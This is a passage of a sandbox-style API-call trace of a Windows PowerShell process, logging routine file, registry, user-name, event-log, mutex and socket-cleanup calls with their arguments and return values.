lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.146] SetErrorMode (uMode=0x1) returned 0x1 [0025.146] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.146] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xccdd0 | out: lpFileInformation=0xccdd0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.146] SetErrorMode (uMode=0x1) returned 0x1 [0025.146] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x105, lpBuffer=0xccbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x0) returned 0x19 [0025.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop"), fInfoLevelId=0x0, lpFileInformation=0xcd090 | out: lpFileInformation=0xcd090*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x39977570, ftLastAccessTime.dwHighDateTime=0x1d36875, ftLastWriteTime.dwLowDateTime=0x39977570, ftLastWriteTime.dwHighDateTime=0x1d36875, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0025.148] SetErrorMode (uMode=0x1) returned 0x1 [0025.174] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b714470, nSize=0xcd3f8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd3f8) returned 0x1 [0025.174] GetUserNameW (in: lpBuffer=0x2a4120, pcbBuffer=0xcd438 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd438) returned 1 [0025.174] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x4, dwEventID=0x190, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3c5c4f0*="Available", lpRawData=0x3c5c280) returned 1 [0025.178] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd418 | out: phkResult=0xcd418*=0x390) returned 0x0 [0025.178] RegQueryValueExW (in: hKey=0x390, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd39c, lpData=0x0, lpcbData=0xcd398*=0x0 | out: lpType=0xcd39c*=0x1, lpData=0x0, lpcbData=0xcd398*=0x56) returned 0x0 [0025.178] CoTaskMemAlloc (cb=0x5a) returned 0x1b6f8720 [0025.178] RegQueryValueExW (in: hKey=0x390, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd36c, lpData=0x1b6f8720, lpcbData=0xcd368*=0x56 | out: lpType=0xcd36c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcd368*=0x56) returned 0x0 [0025.178] RegCloseKey (hKey=0x390) returned 0x0 [0025.494] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.494] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.501] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd578 | out: phkResult=0xcd578*=0x3b0) returned 0x0 [0025.501] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd4fc, lpData=0x0, lpcbData=0xcd4f8*=0x0 | out: lpType=0xcd4fc*=0x1, lpData=0x0, lpcbData=0xcd4f8*=0x56) returned 0x0 [0025.501] CoTaskMemAlloc (cb=0x5a) returned 0x1b714cf0 [0025.501] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd4cc, lpData=0x1b714cf0, lpcbData=0xcd4c8*=0x56 | out: lpType=0xcd4cc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcd4c8*=0x56) returned 0x0 [0025.501] CoTaskMemFree (pv=0x1b714cf0) [0025.501] RegCloseKey (hKey=0x3b0) returned 0x0 [0025.501] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd578 | out: phkResult=0xcd578*=0x3b0) returned 0x0 [0025.501] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd4fc, lpData=0x0, lpcbData=0xcd4f8*=0x0 | out: lpType=0xcd4fc*=0x1, lpData=0x0, lpcbData=0xcd4f8*=0x56) returned 0x0 [0025.501] CoTaskMemAlloc (cb=0x5a) returned 0x1b714cf0 [0025.501] RegQueryValueExW (in: hKey=0x3b0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xcd4cc, lpData=0x1b714cf0, lpcbData=0xcd4c8*=0x56 | out: lpType=0xcd4cc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xcd4c8*=0x56) returned 0x0 [0025.501] CoTaskMemFree (pv=0x1b714cf0) [0025.501] RegCloseKey (hKey=0x3b0) returned 0x0 [0025.501] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b6f54b0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0025.502] CoTaskMemFree (pv=0x1b6f54b0) [0025.502] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xcd130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0025.502] CoTaskMemAlloc (cb=0x20c) returned 0x1b6f54b0 [0025.502] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b6f54b0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0025.502] CoTaskMemFree (pv=0x1b6f54b0) [0025.502] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xcd130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0025.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", nBufferLength=0x105, lpBuffer=0xcd2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1", lpFilePart=0x0) returned 0x36 [0025.502] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0xcd4e0 | out: lpFileInformation=0xcd4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0xcd2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4b [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0xcd4e0 | out: lpFileInformation=0xcd4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0xcd2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x39 [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\aetadzjz\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0xcd4e0 | out: lpFileInformation=0xcd4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0xcd2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x4e [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\aetadzjz\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0xcd4e0 | out: lpFileInformation=0xcd4e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0025.503] SetErrorMode (uMode=0x1) returned 0x1 [0025.504] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.504] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.504] CoTaskMemFree (pv=0x25b4d0) [0025.504] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.504] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.504] CoTaskMemFree (pv=0x25b4d0) [0025.505] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.505] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.505] CoTaskMemFree (pv=0x25b4d0) [0025.506] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.506] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.506] CoTaskMemFree (pv=0x25b4d0) [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3b0 [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3b4 [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3b8 [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3bc [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3c0 [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3c4 [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3c8 [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3cc [0025.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3d0 [0025.507] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.507] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.507] CoTaskMemFree (pv=0x25b4d0) [0025.508] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0025.508] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0xcd6c0 | out: lpMode=0xcd6c0) returned 1 [0025.510] SetEvent (hEvent=0x3bc) returned 1 [0025.510] SetEvent (hEvent=0x3b0) returned 1 [0025.510] SetEvent (hEvent=0x3b4) returned 1 [0025.510] SetEvent (hEvent=0x3b8) returned 1 [0025.510] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3e0 [0025.512] CoTaskMemAlloc (cb=0x104) returned 0x25b4d0 [0025.512] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x25b4d0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0025.512] CoTaskMemFree (pv=0x25b4d0) [0025.512] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd418 | out: phkResult=0xcd418*=0x3e4) returned 0x0 [0025.512] RegQueryValueExW (in: hKey=0x3e4, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0xcd39c, lpData=0x0, lpcbData=0xcd398*=0x0 | out: lpType=0xcd39c*=0x0, lpData=0x0, lpcbData=0xcd398*=0x0) returned 0x2 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x508 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x558 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x554 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x51c [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x518 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x50c [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x520 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x528 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x574 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x53c [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x584 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x588 [0029.655] SetEvent (hEvent=0x51c) returned 1 [0029.655] SetEvent (hEvent=0x508) returned 1 [0029.655] SetEvent (hEvent=0x558) returned 1 [0029.655] SetEvent (hEvent=0x554) returned 1 [0029.655] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x58c [0029.655] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0xcd4a8 | out: phkResult=0xcd4a8*=0x590) returned 0x0 [0029.655] RegQueryValueExW (in: hKey=0x590, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0xcd42c, lpData=0x0, lpcbData=0xcd428*=0x0 | out: lpType=0xcd42c*=0x0, lpData=0x0, lpcbData=0xcd428*=0x0) returned 0x2 [0029.681] SetEvent (hEvent=0x518) returned 1 [0029.681] SetEvent (hEvent=0x50c) returned 1 [0029.682] SetEvent (hEvent=0x520) returned 1 [0029.696] CoTaskMemAlloc (cb=0x104) returned 0x1b733570 [0029.696] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b733570, nSize=0x80 | out: lpBuffer="") returned 0x0 [0029.696] CoTaskMemFree (pv=0x1b733570) [0029.727] SetEvent (hEvent=0x31c) returned 1 [0029.728] CoTaskMemAlloc (cb=0x804) returned 0x1b74b100 [0029.728] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b74b100, nSize=0xcd548 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xcd548) returned 0x1 [0029.728] CoTaskMemFree (pv=0x1b74b100) [0029.728] CoTaskMemAlloc (cb=0x204) returned 0x2a51a0 [0029.728] GetUserNameW (in: lpBuffer=0x2a51a0, pcbBuffer=0xcd588 | out: lpBuffer="aETAdzjz", pcbBuffer=0xcd588) returned 1 [0029.728] CoTaskMemFree (pv=0x2a51a0) [0029.729] ReportEventW (hEventLog=0x1b840008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x347d920*="Stopped", lpRawData=0x347d6b0) returned 1 [0029.732] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0029.733] CoGetContextToken (in: pToken=0xcf110 | out: pToken=0xcf110) returned 0x0 [0029.733] CObjectContext::QueryInterface () returned 0x0 [0029.733] CObjectContext::GetCurrentThreadType () returned 0x0 [0029.733] Release () returned 0x0 [0029.734] CoGetContextToken (in: pToken=0xcece0 | out: pToken=0xcece0) returned 0x0 [0029.734] CObjectContext::QueryInterface () returned 0x0 [0029.734] CObjectContext::GetCurrentThreadType () returned 0x0 [0029.734] Release () returned 0x0 [0029.739] CoGetContextToken (in: pToken=0xcece0 | out: pToken=0xcece0) returned 0x0 [0029.739] CObjectContext::QueryInterface () returned 0x0 [0029.739] CObjectContext::GetCurrentThreadType () returned 0x0 [0029.739] Release () returned 0x0 [0029.745] CoGetContextToken (in: pToken=0xcece0 | out: pToken=0xcece0) returned 0x0 [0029.745] CObjectContext::QueryInterface () returned 0x0 [0029.745] CObjectContext::GetCurrentThreadType () returned 0x0 [0029.745] Release () returned 0x0 [0029.770] CoGetContextToken (in: pToken=0xcecd0 | out: pToken=0xcecd0) returned 0x0 [0029.770] CObjectContext::QueryInterface () returned 0x0 [0029.770] CObjectContext::GetCurrentThreadType () returned 0x0 [0029.770] Release () returned 0x0 [0029.771] CoUninitialize () Thread: id = 24 os_tid = 0xaf4 Thread: id = 25 os_tid = 0xb00 Thread: id = 26 os_tid = 0xb04 Thread: id = 27 os_tid = 0xb08 Thread: id = 28 os_tid = 0xb0c [0021.714] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0024.519] LocalFree (hMem=0x266a40) returned 0x0 [0024.519] CloseHandle (hObject=0x320) returned 1 [0024.519] CloseHandle (hObject=0x13) returned 1 [0024.519] CloseHandle (hObject=0xf) returned 1 [0024.519] RegCloseKey (hKey=0x30c) returned 0x0 [0024.519] RegCloseKey (hKey=0x308) returned 0x0 [0024.520] RegCloseKey (hKey=0x304) returned 0x0 [0024.520] LocalFree (hMem=0x2668f0) returned 0x0 [0024.520] RegCloseKey (hKey=0x32c) returned 0x0 [0025.962] RegCloseKey (hKey=0x370) returned 0x0 [0025.962] RegCloseKey (hKey=0x36c) returned 0x0 [0025.962] RegCloseKey (hKey=0x368) returned 0x0 [0025.963] RegCloseKey (hKey=0x364) returned 0x0 [0025.963] RegCloseKey (hKey=0x360) returned 0x0 [0025.963] RegCloseKey (hKey=0x35c) returned 0x0 [0025.963] RegCloseKey (hKey=0x358) returned 0x0 [0025.963] RegCloseKey (hKey=0x3a0) returned 0x0 [0025.963] RegCloseKey (hKey=0x348) returned 0x0 [0025.964] RegCloseKey (hKey=0x344) returned 0x0 [0025.964] RegCloseKey (hKey=0x340) returned 0x0 [0025.964] RegCloseKey (hKey=0x33c) returned 0x0 [0025.964] RegCloseKey (hKey=0x338) returned 0x0 [0025.964] RegCloseKey (hKey=0x334) returned 0x0 [0025.964] RegCloseKey (hKey=0x330) returned 0x0 [0025.965] RegCloseKey (hKey=0x39c) returned 0x0 [0025.965] RegCloseKey (hKey=0x30c) returned 0x0 [0025.965] RegCloseKey (hKey=0x308) returned 0x0 [0025.965] RegCloseKey (hKey=0x398) returned 0x0 [0025.965] RegCloseKey (hKey=0x394) returned 0x0 [0025.965] RegCloseKey (hKey=0x374) returned 0x0 [0025.965] RegCloseKey (hKey=0x3e4) returned 0x0 [0025.965] RegCloseKey (hKey=0x3a8) returned 0x0 [0025.966] RegCloseKey (hKey=0x38c) returned 0x0 [0025.966] RegCloseKey (hKey=0x388) returned 0x0 [0025.966] RegCloseKey (hKey=0x384) returned 0x0 [0025.966] RegCloseKey (hKey=0x380) returned 0x0 [0025.966] RegCloseKey (hKey=0x37c) returned 0x0 [0025.966] RegCloseKey (hKey=0x378) returned 0x0 [0025.967] RegCloseKey (hKey=0x354) returned 0x0 [0025.967] RegCloseKey (hKey=0x3a4) returned 0x0 [0025.967] RegCloseKey (hKey=0x304) returned 0x0 [0029.735] LocalFree (hMem=0x25b3c0) returned 0x0 [0029.736] LocalFree (hMem=0x25b2b0) returned 0x0 [0029.737] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x347dcd8, cbSid=0x1b2df170 | out: pSid=0x347dcd8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b2df170) returned 1 [0029.737] CreateMutexW (lpMutexAttributes=0x347de90, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x35c [0029.737] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x1f4) returned 0x0 [0029.737] ReleaseMutex (hMutex=0x35c) returned 1 [0029.737] CloseHandle (hObject=0x35c) returned 1 [0029.737] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x347e1e8, cbSid=0x1b2df170 | out: pSid=0x347e1e8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b2df170) returned 1 [0029.737] CreateMutexW (lpMutexAttributes=0x347e3a0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x35c [0029.737] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x1f4) returned 0x0 [0029.737] ReleaseMutex (hMutex=0x35c) returned 1 [0029.737] CloseHandle (hObject=0x35c) returned 1 [0029.737] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x347e6f8, cbSid=0x1b2df170 | out: pSid=0x347e6f8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b2df170) returned 1 [0029.738] CreateMutexW (lpMutexAttributes=0x347e8b0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x35c [0029.738] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x1f4) returned 0x0 [0029.738] ReleaseMutex (hMutex=0x35c) returned 1 [0029.738] CloseHandle (hObject=0x35c) returned 1 [0029.738] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x347ec08, cbSid=0x1b2df170 | out: pSid=0x347ec08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b2df170) returned 1 [0029.738] CreateMutexW (lpMutexAttributes=0x347edc0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x35c [0029.738] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x1f4) returned 0x0 [0029.738] ReleaseMutex (hMutex=0x35c) returned 1 [0029.738] CloseHandle (hObject=0x35c) returned 1 [0029.738] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x347f118, cbSid=0x1b2df1a0 | out: pSid=0x347f118*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b2df1a0) returned 1 [0029.738] CreateMutexW (lpMutexAttributes=0x347f2d0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x35c [0029.738] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x1f4) returned 0x0 [0029.738] ReleaseMutex (hMutex=0x35c) returned 1 [0029.738] CloseHandle (hObject=0x35c) returned 1 [0029.745] DeregisterEventSource (hEventLog=0x1b840008) returned 1 [0029.748] setsockopt (s=0x4dc, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0029.748] closesocket (s=0x4dc) returned 0 [0029.753] CloseHandle (hObject=0x518) returned 1 [0029.753] CloseHandle (hObject=0x51c) returned 1 [0029.753] CloseHandle (hObject=0x554) returned 1 [0029.753] CloseHandle (hObject=0x558) returned 1 [0029.753] CloseHandle (hObject=0x508) returned 1 [0029.753] CloseHandle (hObject=0x580) returned 1 [0029.754] CloseHandle (hObject=0x388) returned 1 [0029.754] CloseHandle (hObject=0x384) returned 1 [0029.754] CloseHandle (hObject=0x380) returned 1 [0029.754] CloseHandle (hObject=0x37c) returned 1 [0029.754] CloseHandle (hObject=0x378) returned 1 [0029.755] CloseHandle (hObject=0x3a4) returned 1 [0029.755] CloseHandle (hObject=0x354) returned 1 [0029.755] CloseHandle (hObject=0x304) returned 1 [0029.756] setsockopt (s=0x4f4, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0029.756] closesocket (s=0x4f4) returned 0 [0029.756] CloseHandle (hObject=0x4f8) returned 1 [0029.756] setsockopt (s=0x4ec, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0029.756] closesocket (s=0x4ec) returned 0 [0029.756] CloseHandle (hObject=0x4e4) returned 1 [0029.757] CloseHandle (hObject=0x4c8) returned 1 [0029.757] CloseHandle (hObject=0x4c4) returned 1 [0029.757] CloseHandle (hObject=0x460) returned 1 [0029.757] CloseHandle (hObject=0x45c) returned 1 [0029.758] CloseHandle (hObject=0x458) returned 1 [0029.758] CloseHandle (hObject=0x454) returned 1 [0029.758] RegCloseKey (hKey=0x450) returned 0x0 [0029.758] CloseHandle (hObject=0x44c) returned 1 [0029.759] RegCloseKey (hKey=0x448) returned 0x0 [0029.759] CloseHandle (hObject=0x444) returned 1 [0029.759] RegCloseKey (hKey=0x440) returned 0x0 [0029.759] RegCloseKey (hKey=0x43c) returned 0x0 [0029.762] CloseHandle (hObject=0x424) returned 1 [0029.762] setsockopt (s=0x41c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0029.762] closesocket (s=0x41c) returned 0 [0029.762] CloseHandle (hObject=0x420) returned 1 [0029.762] setsockopt (s=0x410, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0029.762] closesocket (s=0x410) returned 0 [0029.763] CloseHandle (hObject=0x418) returned 1 [0029.763] CloseHandle 